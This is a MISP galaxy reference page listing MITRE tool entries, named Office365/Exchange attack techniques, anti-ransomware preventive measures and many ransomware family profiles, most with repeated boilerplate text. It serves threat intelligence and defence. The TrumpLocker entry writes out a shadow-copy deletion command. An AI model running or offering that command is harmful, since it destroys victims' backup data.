[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)
The tag is: misp-galaxy:mitre-tool="Ruler - S0358"
Ruler - S0358 is also known as:
-
Ruler
Ruler - S0358 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
Links |
Nltest - S0359
[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)
The tag is: misp-galaxy:mitre-tool="Nltest - S0359"
Nltest - S0359 is also known as:
-
Nltest
Nltest - S0359 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
o365-exchange-techniques
o365-exchange-techniques - Office365/Exchange related techniques by @johnLaT.
o365-exchange-techniques is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
John Lambert - Alexandre Dulaunoy
AAD - Dump users and groups with Azure AD
AAD - Dump users and groups with Azure AD
The tag is: misp-galaxy:cloud-security="AAD - Dump users and groups with Azure AD"
O365 - Get Global Address List: MailSniper
O365 - Get Global Address List: MailSniper
The tag is: misp-galaxy:cloud-security="O365 - Get Global Address List: MailSniper"
O365 - Find Open Mailboxes: MailSniper
O365 - Find Open Mailboxes: MailSniper
The tag is: misp-galaxy:cloud-security="O365 - Find Open Mailboxes: MailSniper"
O365 - User account enumeration with ActiveSync
O365 - User account enumeration with ActiveSync
The tag is: misp-galaxy:cloud-security="O365 - User account enumeration with ActiveSync"
End Point - Search host for Azure Credentials: SharpCloud
End Point - Search host for Azure Credentials: SharpCloud
The tag is: misp-galaxy:cloud-security="End Point - Search host for Azure Credentials: SharpCloud"
On-Prem Exchange - Portal Recon
On-Prem Exchange - Portal Recon
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Portal Recon"
On-Prem Exchange - Enumerate domain accounts: using Skype4B
On-Prem Exchange - Enumerate domain accounts: using Skype4B
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: using Skype4B"
On-Prem Exchange - Enumerate domain accounts: OWA & Exchange
On-Prem Exchange - Enumerate domain accounts: OWA & Exchange
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: OWA & Exchange"
On-Prem Exchange - Enumerate domain accounts: FindPeople
On-Prem Exchange - Enumerate domain accounts: FindPeople
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: FindPeople"
On-Prem Exchange - OWA version discovery
On-Prem Exchange - OWA version discovery
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - OWA version discovery"
AAD - Password Spray: MailSniper
AAD - Password Spray: MailSniper
The tag is: misp-galaxy:cloud-security="AAD - Password Spray: MailSniper"
AAD - Password Spray: CredKing
AAD - Password Spray: CredKing
The tag is: misp-galaxy:cloud-security="AAD - Password Spray: CredKing"
O365 - Bruteforce of Autodiscover: SensePost Ruler
O365 - Bruteforce of Autodiscover: SensePost Ruler
The tag is: misp-galaxy:cloud-security="O365 - Bruteforce of Autodiscover: SensePost Ruler"
O365 - Phishing for credentials
O365 - Phishing for credentials
The tag is: misp-galaxy:cloud-security="O365 - Phishing for credentials"
O365 - Phishing using OAuth app
O365 - Phishing using OAuth app
The tag is: misp-galaxy:cloud-security="O365 - Phishing using OAuth app"
O365 - 2FA MITM Phishing: evilginx2
O365 - 2FA MITM Phishing: evilginx2
The tag is: misp-galaxy:cloud-security="O365 - 2FA MITM Phishing: evilginx2"
On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS
On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS"
On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler
On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler"
O365 - Add Mail forwarding rule
O365 - Add Mail forwarding rule
The tag is: misp-galaxy:cloud-security="O365 - Add Mail forwarding rule"
O365 - Add Global admin account
O365 - Add Global admin account
The tag is: misp-galaxy:cloud-security="O365 - Add Global admin account"
O365 - Delegate Tenant Admin
O365 - Delegate Tenant Admin
The tag is: misp-galaxy:cloud-security="O365 - Delegate Tenant Admin"
End Point - Persistence throught Outlook Home Page: SensePost Ruler
End Point - Persistence throught Outlook Home Page: SensePost Ruler
The tag is: misp-galaxy:cloud-security="End Point - Persistence throught Outlook Home Page: SensePost Ruler"
End Point - Persistence throught custom Outlook form
End Point - Persistence throught custom Outlook form
The tag is: misp-galaxy:cloud-security="End Point - Persistence throught custom Outlook form"
End Point - Create Hidden Mailbox Rule
End Point - Create Hidden Mailbox Rule
The tag is: misp-galaxy:cloud-security="End Point - Create Hidden Mailbox Rule"
O365 - MailSniper: Search Mailbox for credentials
O365 - MailSniper: Search Mailbox for credentials
The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for credentials"
O365 - Search for Content with eDiscovery
O365 - Search for Content with eDiscovery
The tag is: misp-galaxy:cloud-security="O365 - Search for Content with eDiscovery"
O365 - Account Takeover: Add-MailboxPermission
O365 - Account Takeover: Add-MailboxPermission
The tag is: misp-galaxy:cloud-security="O365 - Account Takeover: Add-MailboxPermission"
O365 - Pivot to On-Prem host: SensePost Ruler
O365 - Pivot to On-Prem host: SensePost Ruler
The tag is: misp-galaxy:cloud-security="O365 - Pivot to On-Prem host: SensePost Ruler"
O365 - Exchange Tasks for C2: MWR
O365 - Exchange Tasks for C2: MWR
The tag is: misp-galaxy:cloud-security="O365 - Exchange Tasks for C2: MWR"
O365 - Send Internal Email
O365 - Send Internal Email
The tag is: misp-galaxy:cloud-security="O365 - Send Internal Email"
On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)
On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)"
On-Prem Exchange - Delegation
On-Prem Exchange - Delegation
The tag is: misp-galaxy:cloud-security="On-Prem Exchange - Delegation"
O365 - MailSniper: Search Mailbox for content
O365 - MailSniper: Search Mailbox for content
The tag is: misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for content"
O365 - Exfiltration email using EWS APIs with PowerShell
O365 - Exfiltration email using EWS APIs with PowerShell
The tag is: misp-galaxy:cloud-security="O365 - Exfiltration email using EWS APIs with PowerShell"
O365 - Download documents and email
O365 - Download documents and email
The tag is: misp-galaxy:cloud-security="O365 - Download documents and email"
Preventive Measure
Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..
Preventive Measure is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Backup and Restore Process
Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger’s backup - it is both existent and non-existent until you’ve tried a restore
The tag is: misp-galaxy:preventive-measure="Backup and Restore Process"
Links |
http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.[http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.] |
Block Macros
Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros
The tag is: misp-galaxy:preventive-measure="Block Macros"
Links |
Disable WSH
Disable Windows Script Host
The tag is: misp-galaxy:preventive-measure="Disable WSH"
Links |
Filter Attachments Level 1
Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub
The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 1"
Filter Attachments Level 2
Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm
The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 2"
Restrict program execution
Block all program executions from the %LocalAppData% and %AppData% folder
The tag is: misp-galaxy:preventive-measure="Restrict program execution"
Links |
Show File Extensions
Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")
The tag is: misp-galaxy:preventive-measure="Show File Extensions"
Links |
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm |
Enforce UAC Prompt
Enforce administrative users to confirm an action that requires elevated rights
The tag is: misp-galaxy:preventive-measure="Enforce UAC Prompt"
Links |
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx |
Remove Admin Privileges
Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.
The tag is: misp-galaxy:preventive-measure="Remove Admin Privileges"
Restrict Workstation Communication
Activate the Windows Firewall to restrict workstation to workstation communication
The tag is: misp-galaxy:preventive-measure="Restrict Workstation Communication"
Sandboxing Email Input
Using sandbox that opens email attachments and removes attachments based on behavior analysis
The tag is: misp-galaxy:preventive-measure="Sandboxing Email Input"
Execution Prevention
Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor
The tag is: misp-galaxy:preventive-measure="Execution Prevention"
Change Default "Open With" to Notepad
Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer
The tag is: misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"
Links |
File Screening
Server-side file screening with the help of File Server Resource Manager
The tag is: misp-galaxy:preventive-measure="File Screening"
Links |
Restrict program execution #2
Block program executions (AppLocker)
The tag is: misp-galaxy:preventive-measure="Restrict program execution #2"
Links |
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx |
EMET
Detect and block exploitation techniques
The tag is: misp-galaxy:preventive-measure="EMET"
Links |
www.microsoft.com/emet[www.microsoft.com/emet] |
Sysmon
Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring
The tag is: misp-galaxy:preventive-measure="Sysmon"
Links |
Blacklist-phone-numbers
Filter the numbers at phone routing level including PABX
The tag is: misp-galaxy:preventive-measure="Blacklist-phone-numbers"
Links |
ACL
Restrict access to shares users should not be allowed to write to
The tag is: misp-galaxy:preventive-measure="ACL"
Links |
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-control-lists |
Ransomware
Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar.
Ransomware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
Nhtnwcuf Ransomware (Fake)
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Nhtnwcuf Ransomware (Fake)"
Links |
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html |
CryptoJacky Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoJacky Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html |
Kaenlupuf Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Kaenlupuf Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html |
EnjeyCrypter Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="EnjeyCrypter Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html |
Dangerous Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Dangerous Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html |
Vortex Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Vortex Ransomware"
Vortex Ransomware is also known as:
-
Ŧl๏tєгค гคภร๏๓ฬคгє
Links |
https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html |
GC47 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="GC47 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html |
RozaLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="RozaLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html |
CryptoMeister Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoMeister Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html |
GG Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016
The tag is: misp-galaxy:ransomware="GG Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html |
Project34 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Project34 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html |
PetrWrap Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="PetrWrap Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html |
Karmen Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear
The tag is: misp-galaxy:ransomware="Karmen Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html |
https://twitter.com/malwrhunterteam/status/841747002438361089 |
Revenge Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant
The tag is: misp-galaxy:ransomware="Revenge Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html |
Turkish FileEncryptor Ransomware
his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"
Turkish FileEncryptor Ransomware is also known as:
-
Fake CTB-Locker
Links |
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html |
Kirk Ransomware & Spock Decryptor
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero
The tag is: misp-galaxy:ransomware="Kirk Ransomware & Spock Decryptor"
Links |
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html |
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges |
ZinoCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="ZinoCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html |
https://twitter.com/malwrhunterteam/status/842781575410597894 |
Crptxxx Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3’s UAC bypass
The tag is: misp-galaxy:ransomware="Crptxxx Ransomware"
MOTD Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="MOTD Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html |
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/ |
CryptoDevil Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoDevil Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html |
FabSysCrypto Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
The tag is: misp-galaxy:ransomware="FabSysCrypto Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html |
Lock2017 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Lock2017 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html |
RedAnts Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="RedAnts Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html |
ConsoleApplication1 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="ConsoleApplication1 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html |
KRider Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="KRider Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html |
https://twitter.com/malwrhunterteam/status/836995570384453632 |
CYR-Locker Ransomware (FAKE)
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg
The tag is: misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"
Links |
DotRansomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="DotRansomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html |
Unlock26 Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Unlock26 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html |
PicklesRansomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware
The tag is: misp-galaxy:ransomware="PicklesRansomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html |
Vanguard Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware
The tag is: misp-galaxy:ransomware="Vanguard Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html |
PyL33T Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="PyL33T Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html |
TrumpLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg
The tag is: misp-galaxy:ransomware="TrumpLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html |
Damage Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi
The tag is: misp-galaxy:ransomware="Damage Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html |
XYZWare Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
The tag is: misp-galaxy:ransomware="XYZWare Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html |
https://twitter.com/malwrhunterteam/status/833636006721122304 |
YouAreFucked Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="YouAreFucked Ransomware"
Links |
https://www.enigmasoftware.com/youarefuckedransomware-removal/ |
CryptConsole 2.0 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html |
BarRax Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
The tag is: misp-galaxy:ransomware="BarRax Ransomware"
BarRax Ransomware is also known as:
-
BarRaxCrypt Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html |
CryptoLocker by NTK Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html |
UserFilesLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="UserFilesLocker Ransomware"
UserFilesLocker Ransomware is also known as:
-
CzechoSlovak Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html |
AvastVirusinfo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!
The tag is: misp-galaxy:ransomware="AvastVirusinfo Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html |
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html |
SuchSecurity Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="SuchSecurity Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html |
PleaseRead Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="PleaseRead Ransomware"
PleaseRead Ransomware is also known as:
-
VHDLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html |
Kasiski Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Kasiski Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html |
Fake Locky Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Fake Locky Ransomware"
Fake Locky Ransomware is also known as:
-
